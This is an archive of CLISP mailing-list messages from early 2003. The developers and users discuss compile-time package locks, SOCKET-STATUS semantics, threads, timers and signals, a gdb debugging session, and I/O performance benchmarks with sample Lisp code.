------------------------------(bug-1.lisp)------------------------------

(defmacro define-if-undefined (&rest definitions)
  "Use this to conditionally define functions, variables, or macros that
  may or may not be pre-defined in this Lisp.  This can be used to provide
  CLtL2 compatibility for older Lisps."
  `(progn
     ,@(mapcar #'(lambda (def)
                   (let ((name (second def)))
                     `(unless (or (boundp ',name)
                                  (fboundp ',name)
                                  (special-form-p ',name)
                                  (macro-function ',name))
                        ,def)))
               definitions)))

(define-if-undefined
           
(defmacro with-simple-restart (restart &rest body)
  "Like PROGN, except provides control over restarts if there is an error."
  (declare (ignore restart))
  `(progn ,@body))

)

------------------------------------------------------------------------

[pascal@thalassa pascal]$ clisp
;; Loading file /home/pascal/.clisprc.lisp ...
;; Loaded file /home/pascal/.clisprc.lisp
[1]> (load "bug-1")
T
[2]> (compile-file "bug-1")

Compiling file /home/pascal/src/common/lisp/clisp/bug-1.lisp ...
** - Continuable Error
DEFUN/DEFMACRO(WITH-SIMPLE-RESTART): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [3]> 


I can't understand  why when loading or evaluating  directly the macro
define-if-undefined, it detects  correctly that WITH-SIMPLE-RESTART is
FBOUNDP (in COMMON-LISP package), but that when compiling, it does not
and tries to redefine it.

I've tried to insert some (eval-when (compile load eval) ...)  at
various places, or even to use [the undocumented!  even in the
implementation notes] (ext:without-package-lock '("COMMON-LISP")...). 

I always get this:
DEFUN/DEFMACRO(WITH-SIMPLE-RESTART): #<PACKAGE COMMON-LISP> is locked
error.


So please, how can one compile a source avoiding to redefine functions
or macro already defined in COMMON-LISP under CLISP?



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> * In message <20030130002614.6700A23D13@thalassa.informatimago.com>
> * On the subject of "[clisp-list] bound symbols at compile-time?"
> * Sent on Thu, 30 Jan 2003 01:26:14 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> I can't understand why when loading or evaluating directly the macro
> define-if-undefined, it detects correctly that WITH-SIMPLE-RESTART is
> FBOUNDP (in COMMON-LISP package), but that when compiling, it does not
> and tries to redefine it.

compiling the expression

        (when foo
          (bar))

requires compiling both FOO and BAR even if during evaluation FOO will
turn out to be false and so (BAR) will never be called.

> I've tried to insert some (eval-when (compile load eval) ...)  at
> various places, or even to use [the undocumented!  even in the
> implementation notes] (ext:without-package-lock '("COMMON-LISP")...). 

<http://clisp.cons.org/impnotes.html#pack-lock>

> So please, how can one compile a source avoiding to redefine functions
> or macro already defined in COMMON-LISP under CLISP?

(eval-when (compile load eval)
  (unless (defined-p 'FOO)
    (push :need-own-foo *features*)))

#+:need-own-foo
(defmacro foo ...)

or just use #+ansi-cl :-)

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 > please read
 > <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-status>

  (SOCKET:SOCKET-STREAM . direction)
            Return the status in the specified direction 
Just to be sure, this means if direction is :input then the
value is one of nil, :input, :eof ?
[All these questions should be explicit in doc.]
Any direction other than :input or :output is an error?
It would also be reasonable to make :io legal.

  If you want to avoid CONSing up a fresh list, you can make the
  elements of socket-stream-or-list to be
      (socket-stream direction . x) or (socket-stream) or
You really have to change (socket-stream) to (socket-stream . x)
since after the first call that's what it'll be.
At least for x in the set of results (not (cons direction x)),
And similarly for socket-server below.

  (socket-server). Then SOCKET:SOCKET-STATUS
  will destructively modify its argument and replace x or NIL with
  the status and return the modified list.

It's also an error to supply a list where some elements are of that
form and others are not?

  The second value returned is the number of objects with non-NIL
  status, i.e., "actionable" objects.
This is for both cases of lists (mapcar and destructive) ?

I suggest that the direction inputs be changed from 
{input, output, nil} to {input, output, io} and get rid of
(stream . x) in favor of (stream :io . x)


I'd still like to know what the timeout is all about.  What
information is not available immediately?  If status starts out as
:output then if I wait it might change to :io ?  Why is that not
waiting for input?

Also, I'm afraid man select didn't tell me much about :error.
It looks to me like input, output, exception are all independent.
So there should be 3 separate dimensions.

What exactly are exceptions?  Do they all generate lisp errors?
Is select really consistent accross OS's ?


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Sam Steingold writes:

> > I've tried to insert some (eval-when (compile load eval) ...)  at
> > various places, or even to use [the undocumented!  even in the
> > implementation notes] (ext:without-package-lock '("COMMON-LISP")...).
>
> <http://clisp.cons.org/impnotes.html#pack-lock>

Thanks. I looked to an old version :-(


> > So please, how can one compile a source avoiding to redefine functions
> > or macro already defined in COMMON-LISP under CLISP?
>
> (eval-when (compile load eval)
>   (unless (defined-p 'FOO)
>     (push :need-own-foo *features*)))
>
> #+:need-own-foo
> (defmacro foo ...)
>
> or just use #+ansi-cl :-)

You're right.  I just avoided loading that file with a #-CLISP and all
is fine now.

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What would be the difficulty to have threads in CLISP?

I guess  that the  garbage collector would  have to block  the threads
while doing its  work, but is there any  other difficulties that would
occur with threads?

What if we use them thru FFIs in LINUX package?



Also, with respect  to fork, since there may  be finalization routines
attached to collectable  objects, it would be nice  if it was possible
to  provoke a garbage  collection before  a LINUX:fork  or LINUX:vfork
call.   (Flushing output could  be done  with FINALIZE-OUTPUT  even if
recensing  all the  open  streams may  be  hard).  Is  it possible  to
initiate a garbage collection at will?


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I've not found anything  in CLHS or in CLISP to set  a timer and get a
signal on time-out.

How to implement a:   (with-time-out (60 second) 
                          (do-something-may-be-too-complicated))
?


Am I  right to think  that it should  be implemented in C? 


Even if  we don't ask  to be  able to run  arbitrary LISP code  in the
signal handler, at  least two things would be useful to  be able to be
do upon receiving a signal:

    - setting a variable, and/or
    - throwing a given tag.

The trowing  could of  course occur after  the signal  handler exists,
when the  interpreter find it  convenient to execute it  (when current
instruction or garbage collecting is done).


(Perhaps support for signals is linked to support of threads...)

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Pascal Bourguignon

>I've not found anything  in CLHS or in CLISP to set  a timer and get a
>signal on time-out.
Indeed, there's nothing like this there.

>How to implement a:   (with-time-out (60 second)=20
>                          (do-something-may-be-too-complicated))

>Even if  we don't ask  to be  able to run arbitrary LISP code in the
>signal handler, at least two things would be useful to  be able to be
>do upon receiving a signal:
>    - setting a variable, and/or
>    - throwing a given tag.

Throwing makes assumptions which may not necessarily hold. Remember my =
e-mail from 21.1.2003 on "must not use signal handlers written in =
Lisp".
Implementation path A for signal handlers in Lisp (using separate =
threads) renders THROW unusable.

With implementation path B (synchronous invocation from bytecode =
interpreter), there's still the issue the day threads would come into =
play: to which thread was this signal supposedly delivered to?

Furthermore, the day there would be some API for signal handlers, CLISP =
must lay open (document) its use of signals. I mentioned that I believe =
SIGPIPE(?), SIGSEGV, SIGINT, SIGALRM, SIGWINCH are all used at some =
time in CLISP.

Which specifically means that your WITH-TIMEOUT would be problematic if =
based on SIGALRM, since CLISP uses it internally...

One would probably need another timer interface, able to deliver as =
many signals (or events) or invoke as many callbacks as requested. Such =
timer/event interfaces are available on AmigaOS (and probably also in =
the JVM and more). With such an interface, there would be no contention =
with the single SIGALRM signal and handler.

Here's a proposal:
	(AFTER timeout function)
After time elapses, function is invoked.
One would probably have to distinguish relative intervals from absolute =
time, or lay that on the programmer and just use the same input as =
SLEEP.
One may not rely on the order in which such functions are invoked (esp. =
when mixing absolute and relative times). Possibly the implementation =
could guarantee order for the same kind of time interval.
If the absolute time has already passed, or timeout is 0, the function =
is immediately invoked.

How this is internally achieved is completely OS-dependent. The Lisp =
view on it would be portable across all of CLISP, though.
AmigaOS would use timer.device, MS-Windows would use xyz, UNIX wold =
probably multiplex something on top of SIGALRM (and CLISP would have to =
map its own use of SIGALRM into this framework.

You can submit a RFE (request for enhancement) to sourceforge :-)

Should threads come, one would hope for this callback to be invoked in =
the thread that invoked AFTER, but that need not be guaranteed (to be =
analyzed). What if the thread dies before that time? I believe the BeOS =
(=3D many threads) philosophy would, quite on the contrary, create a =
separate thread for each such request and invoke it therein.


>(Perhaps support for signals is linked to support of threads...)
Somewhat, indeed.

Apart from that, I understand that people wish for being able to THROW =
on a SIGPIPE, SIGHUP or SIGUSR1, since that's how CGI applications are =
typically notified that they could abort computing a request because =
the user's browser is not waiting for results anymore.

I have no proposal upon how to do this, except in the synchronous case =
without threads.

This then also raises the topic, recently discussed in comp.lang.lisp, =
of IRON-CLAD-UNWIND-PROTECT. I *believe* CLISP currently may loose =
arbitrary ressources when being interrupted between execution of any =
two bytecodes (as when ^C is hit). The same would apply to signals =
handlers.

Regards,
	J=F6rg H=F6hle.
BTW Pascal, on logical-pathnames, I think you should investigate names =
with a colon like foo:bar;zot instead of /x/y/z...


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 > What would be the difficulty to have threads in CLISP?

I refer you to the extensive discussion of this topic in the list archive.

Summary:
It's much worse than you imagine.  In addition to the low level
problems that you mention, many pieces of code assume they are
running alone and would have to be modified to do locking.
My guess is that, in addition to a large amount of work on the part of
some very knowledgeable developers (who are in short supply), users
of multiple threads would suffer a prolonged period of instability
during which bugs were found and fixed.  And these bugs are
particularly difficult to reproduce.

 > I guess  that the  garbage collector would  have to block  the threads
 > while doing its  work, but is there any  other difficulties that would
 > occur with threads?

Clearly some locking is needed.  There are gc algorithms in which gc
runs as "just another thread" without blocking any others (other than
locking particular objects while it's using them).

 > What if we use them thru FFIs in LINUX package?

There's no problem using threads in foreign calls as long as they
don't affect the lisp thread. 


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> * In message <200301301229.QAA03992@yk.udmts.elektra.ru>
> * On the subject of "Re: [clisp-list] sigsegv?"
> * Sent on Thu, 30 Jan 2003 16:29:34 +0400 (SAMT)
> * Honorable Yuri Kostylev <yuri@yk.udmts.elektra.ru> writes:
>
> I downloaded sources an all is was perfectly builta
> 
> But... what does it mean:
> 
> WARNING:
> DEFUN/DEFMACRO(LAMBDA): #<PACKAGE COMMON-LISP> is locked
> Ignore the lock and proceed
> WARNING:
> DEFUN/DEFMACRO(FUNCALL): #<PACKAGE COMMON-LISP> is locked
> Ignore the lock and proceed

this is fine during "make check" (which is done implicitly during
"./configure --build")

> *** -

this is a start of an error message

1. what is your language setup? (LANG=? &c)
    $ clisp -x '*current-language*'

2. can CLISP display your characters on your terminal?
    $ clisp -x '(error)'

3. try "clisp -L english".

> .. here my system loaded awfully

run under gdb and try C-c.


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> * In message <15928.40941.801354.633909@isis.cs3-inc.com>
> * On the subject of "Re: proposed modifications to SOCKET-STATUS"
> * Sent on Wed, 29 Jan 2003 19:45:49 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
>  > please read
>  > <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-status>
> 
>   (SOCKET:SOCKET-STREAM . direction)
>             Return the status in the specified direction 
> Just to be sure, this means if direction is :input then the
> value is one of nil, :input, :eof ?
> [All these questions should be explicit in doc.]
> Any direction other than :input or :output is an error?
> It would also be reasonable to make :io legal.

what is not clear here?

Additionally, for a SOCKET:SOCKET-STREAM, we define "status" in the
given direction (one of :INPUT, :OUTPUT, and :IO) to be

:INPUT status:

NIL
    reading will block 
:INPUT
    some input is available 
:EOF
    the stream has reached its end 

:OUTPUT status:

NIL
    writing will block 
:OUTPUT
    output to the stream will not block 

Table 30-8. :IO status
                        input status
output status           NIL      :INPUT          :EOF
NIL                     NIL      :INPUT          :EOF
:OUTPUT                 :OUTPUT  :IO             :APPEND



>   If you want to avoid CONSing up a fresh list, you can make the
>   elements of socket-stream-or-list to be
>       (socket-stream direction . x) or (socket-stream) or
> You really have to change (socket-stream) to (socket-stream . x)
> since after the first call that's what it'll be.

I cannot: if the status happens to be :input, then the next call will
check the status only in the input direction.

> At least for x in the set of results (not (cons direction x)),
> And similarly for socket-server below.
> 
>   (socket-server). Then SOCKET:SOCKET-STATUS
>   will destructively modify its argument and replace x or NIL with
>   the status and return the modified list.
> 
> It's also an error to supply a list where some elements are of that
> form and others are not?

no - but the only way to avoid consing is to have all elements in the
specified form.

>   The second value returned is the number of objects with non-NIL
>   status, i.e., "actionable" objects.
> This is for both cases of lists (mapcar and destructive) ?

of course - why would you think otherwise?!

> I'd still like to know what the timeout is all about.

it's about waiting for input to arrive or output to be cleared or
connection to come our way.

> If status starts out as :output then if I wait it might change to :io?

if the status now is :OUTPUT, you will not wait.
to wait for input you need to do (SOCK :INPUT).

> Why is that not waiting for input?

huh?

> Also, I'm afraid man select didn't tell me much about :error.  It
> looks to me like input, output, exception are all independent.  So
> there should be 3 separate dimensions.

exception obviously overrides all the others: if there is an exception,
then no i/o is possible.

> What exactly are exceptions?  Do they all generate lisp errors?
> Is select really consistent accross OS's ?

I know just as much as you do.
I have never seen SOCKET-STATUS return :ERROR

why don't you play with SOCKET-STATUS a little bit and see whether it
does what you expect?
In particular, if you think that the doc says FOO, please try FOO with
SOCKET-STATUS and see if that is the case.  If it is NOT, please read
the doc again.

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> * In message <15929.20111.88393.10180@isis.cs3-inc.com>
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> It's much worse than you imagine.  In addition to the low level
> problems that you mention, many pieces of code assume they are running
> alone and would have to be modified to do locking.  My guess is that,
> in addition to a large amount of work on the part of some very

I think the amount of work is not that bad.
we do need a knowledgeable developer, but most of the design is already done.

> knowledgeable developers (who are in short supply), users of multiple
> threads would suffer a prolonged period of instability during which
> bugs were found and fixed.  And these bugs are particularly difficult
> to reproduce.

the user will have to ensure that his objects are not modified by
different threads at the same time.  CLISP will not do that for you.

>  > I guess  that the  garbage collector would  have to block  the threads
>  > while doing its  work, but is there any  other difficulties that would
>  > occur with threads?
> 
> Clearly some locking is needed.  There are gc algorithms in which gc
> runs as "just another thread" without blocking any others (other than
> locking particular objects while it's using them).

they make heap access "interesting"...

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[Oops, you're right that some of my questions were answered in doc.
I hate to get such questions too, so sincerely apologize and will 
try harder not to let it happen again.]

 > >   If you want to avoid CONSing up a fresh list, you can make the
 > >   elements of socket-stream-or-list to be
 > >       (socket-stream direction . x) or (socket-stream) or
 > > You really have to change (socket-stream) to (socket-stream . x)
 > > since after the first call that's what it'll be.
 > 
 > I cannot: if the status happens to be :input, then the next call will
 > check the status only in the input direction.

I think (hope) we're complaining about the same thing here.
I think you should be able to do:
 (setf arg (list (list stream)))
 (socket-status arg)
and if arg is now ((<stream> . :output))
you should be able to again do
 (socket-status arg)
with the possibility of ending up with arg being ((<stream> . :io))
That is, the list element (<stream> . nil) is interpreted as
(<stream> . x) where x is to be replaced, and in fact, so is
(<stream> . :input) or any other (<stream> . x) where x is one
of the possible outputs.  The fact that we have to distinguish here
the case of x being :output vs (:output) is why I suggested that
this case be eliminated and replaced by 
(<stream> <:input/:output/:io> . x)

 > > It's also an error to supply a list where some elements are of that
 > > form and others are not?
 > 
 > no - but the only way to avoid consing is to have all elements in the
 > specified form.
So if one has that form and another doesn't then no smashing is done
and you get mapcar behavior?  Or you smash the ones with the right
format and still return a new list?  I think it would be more useful
to generate an error in the mixed case.  Otherwise people who
generate mixed cases accidentally are going to be very confused.

 > >   The second value returned is the number of objects with non-NIL
 > >   status, i.e., "actionable" objects.
 > > This is for both cases of lists (mapcar and destructive) ?
 > 
 > of course - why would you think otherwise?!
Even if I did think it was obvious, obvious doesn't always imply correct.

I take it the first value in the smashing case is the input list?
(That's a little more obvious, but still worth saying.)

 > > I'd still like to know what the timeout is all about.
 > it's about waiting for input to arrive or output to be cleared or
 > connection to come our way.
 > 
 > > If status starts out as :output then if I wait it might change to :io?
 > 
 > if the status now is :OUTPUT, you will not wait.
 > to wait for input you need to do (SOCK :INPUT).
 > 
 > > Why is that not waiting for input?
 > 
 > huh?
This is what I don't understand:
  Note that this function never waits for input or output to arrive,
  only for information on input or output presence
This seems to indicate that there's some information about whether
input or output is NOW possible that is not available yet and we
could get it if we wait.

I think you're saying that it DOES wait for input to arrive if none
is available and you ask whether input is possible with a non-zero
timeout.

Perhaps it should be something like:
  The only case where this function waits at all is when the answer
  for every stream/direction argument would be nil.
(Is that true?  Or does it wait if ANY answer would be nil?)

 > I know just as much as you do.
(a sad state of affairs!)
 > I have never seen SOCKET-STATUS return :ERROR
That's at least somewhat encouraging.  Neither have I.

 > why don't you play with SOCKET-STATUS a little bit and see whether it
 > does what you expect?
You suggest blind search, and that only to see what one particular
implementation does, whereas I really want a spec.



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> * In message <20030130070731.856DD2588C@thalassa.informatimago.com>
> * On the subject of "Timer or alarm?"
> * Sent on Thu, 30 Jan 2003 08:07:31 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> How to implement a:   (with-time-out (60 second) 
>                           (do-something-may-be-too-complicated))
> ?

$ ./configure --with-threads=POSIX_THREADS --build build-mt
$ cd build-mt
$ ./clisp
> (with-timeout (3 (format t "timed out!~%")) (sleep 10))
timed out
> 4
4
segfault

if you debug this segfault, you will have a working WITH-TIMEOUT.

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Date: Thu Jan 30 11:42:11 2003
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please look at
<http://clisp.cons.org/impnotes-new.html#so-status>
<http://clisp.cons.org/impnotes-new/socket.html#so-status>
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> * In message <15929.25380.503228.789126@isis.cs3-inc.com>
> * On the subject of "[clisp-list] Re: proposed modifications to SOCKET-STATUS"
> * Sent on Thu, 30 Jan 2003 09:38:44 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
>  > I cannot: if the status happens to be :input, then the next call will
>  > check the status only in the input direction.
>
> I think (hope) we're complaining about the same thing here.
> I think you should be able to do:
>  (setf arg (list (list stream)))
>  (socket-status arg)
> and if arg is now ((<stream> . :output))
> you should be able to again do
>  (socket-status arg)
> with the possibility of ending up with arg being ((<stream> . :io))
> That is, the list element (<stream> . nil) is interpreted as
> (<stream> . x) where x is to be replaced, and in fact, so is
> (<stream> . :input) or any other (<stream> . x) where x is one
> of the possible outputs.  The fact that we have to distinguish here
> the case of x being :output vs (:output) is why I suggested that
> this case be eliminated and replaced by
> (<stream> <:input/:output/:io> . x)

I am confused.

Unambiguous arguments are:
        (stream direction . x)
and
        stream

how should (stream . :input) be interpreted?
I argue for a backward compatible interpretation (which is tenuous since
the backward compatibility has been broken already by higher status
granularity).

>  > > It's also an error to supply a list where some elements are of that
>  > > form and others are not?
>  >
>  > no - but the only way to avoid consing is to have all elements in the
>  > specified form.
> So if one has that form and another doesn't then no smashing is done
> and you get mapcar behavior?  Or you smash the ones with the right
> format and still return a new list?  I think it would be more useful
> to generate an error in the mixed case.  Otherwise people who
> generate mixed cases accidentally are going to be very confused.

right now we so "smashing" whenever possible and cons a list whenever
necessary.
(please make sure this is actually the case :-)

>  > >   The second value returned is the number of objects with non-NIL
>  > >   status, i.e., "actionable" objects.
>  > > This is for both cases of lists (mapcar and destructive) ?
>  >
>  > of course - why would you think otherwise?!
> Even if I did think it was obvious, obvious doesn't always imply correct.
>
> I take it the first value in the smashing case is the input list?
> (That's a little more obvious, but still worth saying.)

it does say that:

        If you want to avoid CONSing up a fresh list, you can make the
        elements of socket-stream-or-list to be (socket-stream direction
        . x) or (socket-stream) or (socket-server). Then
        SOCKET:SOCKET-STATUS will destructively modify its argument and
        replace x or NIL with the status and return the modified list.


>  > > Why is that not waiting for input?
>  > huh?
> This is what I don't understand:
>   Note that this function never waits for input or output to arrive,
>   only for information on input or output presence

this is a quote from the select(2) manual.

> Perhaps it should be something like:
>   The only case where this function waits at all is when the answer
>   for every stream/direction argument would be nil.
> (Is that true?  Or does it wait if ANY answer would be nil?)

yes.

        The second value returned is the number of objects with non-NIL
        status, i.e., "actionable" objects. SOCKET:SOCKET-STATUS returns
        either due to a timeout or when this number is positive, i.e.,
        if the timeout was NIL and SOCKET:SOCKET-STATUS did return, then
        the second value is positive.

>  > why don't you play with SOCKET-STATUS a little bit and see whether it
>  > does what you expect?
> You suggest blind search, and that only to see what one particular
> implementation does, whereas I really want a spec.

I suggest that you __TEST__ CLISP.
It is important to discuss the spec, but it is also important to check
that the code works.  When you say "let's change the spec like this",
please do supply a test case where CLISP works against your desires.

And don't tell me "spec first". :-)

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 > Unambiguous arguments are:
 >         (stream direction . x)
 > and
 >         stream
 > 
 > how should (stream . :input) be interpreted?
 > I argue for a backward compatible interpretation (which is tenuous since
 > the backward compatibility has been broken already by higher status
 > granularity).

I finally understand - this is backward compatible.
In that case I suggest that it NOT be acceptable for the smashing
case.  (I'd also be happy if it were not acceptable at all.)

 > right now we so "smashing" whenever possible and cons a list whenever
 > necessary.
(but never a combination)

 > >  > > Why is that not waiting for input?
 > >  > huh?
 > > This is what I don't understand:
 > >   Note that this function never waits for input or output to arrive,
 > >   only for information on input or output presence
 > 
 > this is a quote from the select(2) manual.
not in mine (linux) - I wonder what it means


 > > Perhaps it should be something like:
 > >   The only case where this function waits at all is when the answer
 > >   for every stream/direction argument would be nil.
 > > (Is that true?  Or does it wait if ANY answer would be nil?)
 > 
 > yes.

I take it you think "every" is right.
I must say the select doc leaves something to be desired too.
It says "waits for a number of file descriptors to change status."
That seems to mean that if you use only fds that are both
readable and writable then it waits (since this status doesn't change)
but I'd expect from the point of view of what's useful for it to
return immediately, i.e., it waits for the following condition:
 some fd in the input set is readable or some fd in the output set
 is writable or some fd in the exception set has an exception

So if timeout >0 then the answer should either be 0 (and the timeout
has been reached) or 1 (unless multiple status changes can happen at
once).


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Hello!

>>
>> But... what does it mean:
>>
>> WARNING:
>> DEFUN/DEFMACRO(LAMBDA): #<PACKAGE COMMON-LISP> is locked
>> Ignore the lock and proceed
>> WARNING:
>> DEFUN/DEFMACRO(FUNCALL): #<PACKAGE COMMON-LISP> is locked
>> Ignore the lock and proceed

> this is fine during "make check" (which is done implicitly during
> "./configure --build")

>> *** -

> this is a start of an error message

> 1. what is your language setup? (LANG=? &c)
>    $ clisp -x '*current-language*'

ENGLISH

> 2. can CLISP display your characters on your terminal?
>     $ clisp -x '(error)'

It can

> 3. try "clisp -L english".

same result

>> .. here my system loaded awfully

> run under gdb and try C-c.


[root@yk cl-support]# gdb /usr/bin/clisp
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welcome to change it and/or distribute copies of it under certain conditions.
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This GDB was configured as "i386-redhat-linux"...
(gdb) run
Starting program: /usr/bin/clisp

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001690 in _start () at rtld.c:138
rtld.c:138: No such file or directory.
(gdb)

 -----

[root@yk cl-support]# gdb /usr/local/clisp/2.30/lib/clisp/base/lisp.run
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This GDB was configured as "i386-redhat-linux"...

Dwarf Error: Cannot handle DW_FORM_strp in DWARF reader.

(gdb) run -M /usr/local/clisp/2.30/lib/clisp/base/lispinit.mem
Starting program: /usr/local/clisp/2.30/lib/clisp/base/lisp.run -M /usr/local/clisp/2.30/lib/clisp/base/lispinit.mem
Error while reading shared library symbols:
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one check in the beginning.
shouldn't the former be dropped and replaced with the latter?!

(the potential performance hit from the extra check might be made up for
by the smaller code size :=)

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Hi,

I wish to outperform a perl application. It has processing some =
logfiles (>100MB). I wish to show how using Lisp makes real software =
fun, somewhat easy to validate (understandable?) and efficient and =
worthwhile to dumb customers.

What's your experience about fastest possible IO with CLISP?

Is character-based i/o much slower than using (unsigned-byte 8) (i.e. =
should I work on ASCII codes, emulate read-line etc.?

What's the influence of built-in unicode and encodings on the speed? =
Should I compile --without-unicode so that strings internally take only =
1 byte per character?

Is using READ-CHAR-SEQUENCE much faster than READ-LINE?

On a Linux box, time wc -l foo.log (23MB) takes 0.2 seconds. That's a =
lower bound on what I can expect :-)

In my test, log.txt has 50.562.702 bytes:

(defun test (&optional (logfile "log.txt"))
  (time (with-open-file (stream logfile :direction :input
				#+CLISP :buffered #+CLISP T
				:element-type 'character
				:external-format charset:iso-8859-1)
	  (loop for line =3D (read-line stream nil nil)
		for line-count from 0
		while line
		finally return line-count))))

(compile 'test)
(time (test))
;;; Datei mit read-line lesen
Real time: 13.594 sec.
Run time: 13.171875 sec.
Space: 102802424 Bytes
GC: 196, GC time: 0.671875 sec.

Note how Space is roughly twice the size of my logfile.

Please share your experience!

Regards,
	J=F6rg H=F6hle.


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Hi,

I asked
>What's your experience about fastest possible IO with CLISP?

I now did some experiments. I found one culprit which is consuming =
almost all the time: POSITION (and all sequence functions).

>Is using READ-CHAR-SEQUENCE much faster than READ-LINE?
A loop using read-byte-sequence (not -char-) using (unsigned-byte 8) =
took
3 seconds for reading a 50MB file
Real time: 3.360564 sec.
Run time: 0.67 sec.    =20
Space: 72212 Bytes

but 17 seconds for read-line (and magnitudes more GC).
Real time: 17.933756 sec. =20
Run time: 16.18 sec.      =20
Space: 203_229_604 Bytes    =20
GC: 388, GC time: 0.67 sec.

There's some room for improvement here.
I also don't know why reading 50MB from a file consumes 4 times this GC =
space  (on UNIX, only 2 on MS-Windows).


Now where does POSITION jump in? See below:

In another experiment, I read a 23MB file using read-line:
Real time: 8.689632 sec.  =20
Run time: 8.12 sec.       =20
Space: 96764244 Bytes     =20
GC: 185, GC time: 0.45 sec.

Then I added a call to SPLIT-LOG-LINE (code below) on each result of =
read-line
Real time: 40.52663 Sec.  =20
Run time: 40.34 sec.      =20
Space: 98_104_624 Bytes   =20
GC: 187, GC time: 0.63 sec.

That's a lot of time. When one looks at the internals, the built-in =
function POSITION in written in a very generic and operates on =
sequences. As a result, there's *a lot* of overhead. A specialized =
strindex() would be much much faster.
Similarly, (concatenate 'string strings...) is much much slower than =
(ext:string-concat strings) - I believe because of the same apparently =
immense "step through every element of the sequences one by one" =
overhead (see src/sequence.d).


Adding the actual log-file analysis (e.g. Top-N) merely added 5 seconds =
of processing time: that's negligible.

FWIW, I have written the code in a DSL approach which compiles
      (when (and (column-op action =3D "accept")
		     (column-op type =3D "account")
down to
(string=3D line "account" :start1 (column-index 'action) :end1 ...)
I.e. I found it important that no more strings (->GC) be created.=20
(Column-index C)are really compile-time constants, since the ordering =
of columns in the log-file is known after the header-line has been =
read.

Please share your experience!
There's obviously room for improvement!

Regards,
	J=F6rg H=F6hle.

(defun split-log-line (line starts stops &optional (line-start 0) =
(line-end nil))
  "Stores positions of ;-separated fields in the given arrays."
  (loop for i from 0
	for start =3D line-start then (1+ stop)
	for stop =3D (position #\; line :start start :end line-end)
	with max =3D (length starts)
	when (=3D i max)
	    do (error "Too many columns")
	do (setf (aref starts i) start
		 (aref stops i) (or stop line-end (length line)))
	;TODO (error "Not enough columns")
	while stop))
;(split-log-line .line. .start-positions. .stop-positions.)
;(split-log-line "a;b" (make-array 1) (make-array 1))


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE01E2A912@G8PQD.blf01.telekom.de>
> * On the subject of "fastest (character) based io with CLISP?"
> * Sent on Thu, 6 Feb 2003 17:21:53 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Is character-based i/o much slower than using (unsigned-byte 8)
> (i.e. should I work on ASCII codes, emulate read-line etc.?

probably not.

> What's the influence of built-in unicode and encodings on the speed?
> Should I compile --without-unicode so that strings internally take
> only 1 byte per character?

no.

> Is using READ-CHAR-SEQUENCE much faster than READ-LINE?

READ-CHAR-SEQUENCE boils down to a single read(2).
READ-LINE is one char at a time, which should _NOT_ matter for buffered
streams.

> On a Linux box, time wc -l foo.log (23MB) takes 0.2 seconds. That's a
> lower bound on what I can expect :-)
> 
> In my test, log.txt has 50.562.702 bytes:
> 
> (defun test (&optional (logfile "log.txt"))
>   (time (with-open-file (stream logfile :direction :input
> 				#+CLISP :buffered #+CLISP T
> 				:element-type 'character
> 				:external-format charset:iso-8859-1)
> 	  (loop for line = (read-line stream nil nil)
> 		for line-count from 0
> 		while line
> 		finally return line-count))))
> 
> (compile 'test)
> (time (test))
> ;;; Datei mit read-line lesen
> Real time: 13.594 sec.
> Run time: 13.171875 sec.
> Space: 102802424 Bytes
> GC: 196, GC time: 0.671875 sec.

the two obvious alternatives:

(let ((buf (make-array 10240 :element-type '(unsigned-byte 8)))
      (nl (char-code #\Newline)))
  (defun test1 (&optional (logfile "/var/log/XFree86.0.log"))
    (time (with-open-file (stream logfile :direction :input
                                  #+CLISP :buffered #+CLISP T
                                  :element-type '(unsigned-byte 8)
                                  :external-format charset:iso-8859-1)
            (loop for bytes = (read-byte-sequence buf stream)
              until (zerop bytes)
              sum (count nl buf :end bytes) into nl-count
              sum bytes into byte-count
              finally return (values nl-count byte-count))))))

(let ((buf (make-array 10240 :element-type 'character)))
  (defun test2 (&optional (logfile "/var/log/XFree86.0.log"))
    (time (with-open-file (stream logfile :direction :input
                                  #+CLISP :buffered #+CLISP T
                                  :element-type 'character
                                  :external-format charset:iso-8859-1)
            (loop for chars = (read-char-sequence buf stream)
              until (zerop chars)
              sum (count #\newline buf :end chars) into nl-count
              sum chars into char-count
              finally return (values nl-count char-count))))))


are about half as fast (take twice as much time!) as your version, but
do almost no consing.

> Note how Space is roughly twice the size of my logfile.

that's bad - but it's the least problem.

you can compile CLISP with profiling and see where it spends all the
time.  comparing the profiling output for your version and mine would
be most instructive.

(still faster that ACL 6.2!)

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Sam wrote:
>> Is character-based i/o much slower than using (unsigned-byte 8)
>> (i.e. should I work on ASCII codes, emulate read-line etc.?
>probably not.

You are right, I did a loop on READ-BYTE-SEQUENCE and (POSITION 13 buffer) with and without EXT:convert-string-from-bytes.

Times are almost the same, but GC is 100MB more (filesize 50MB).

;-- only position, without convert-from-bytes
Real time: 36.578 sec.
Run time: 36.21875 sec.
Space: 266932 Bytes
  ||
;-- using convert-string-from-bytes
Real time: 38.797 sec.
Run time: 38.234375 sec.
Space: 102_593_868 Bytes
GC: 12, GC time: 0.234375 sec.

Note that without POSITION, I'd have huge speed improvements. Doing only READ-BYTE-SEQUENCE, I obtain:
Real time: 2.375 sec.
Run time: 2.140625 sec.
Space: 70324 Bytes
  ||
and READ-BYTE-SEQUENCE with convert-string-from-bytes:
Real time: 4.297 sec.
Run time: 3.96875 sec.
Space: 101270288 Bytes
GC: 154, GC time: 0.3125 sec.

2 seconds unicode conversion overhead for 50MB of data is really acceptable. Generational GC makes throwing out 100MB of garbage acceptablably fast (I got a very different training a decade ago using CMUCL stop&copy GC).


So maybe (EXT:STRING-POSITION character string :start :end) would be welcome?

or EXT:POSITION-IN-STRING or POSITION-WITHIN-STRING or ??


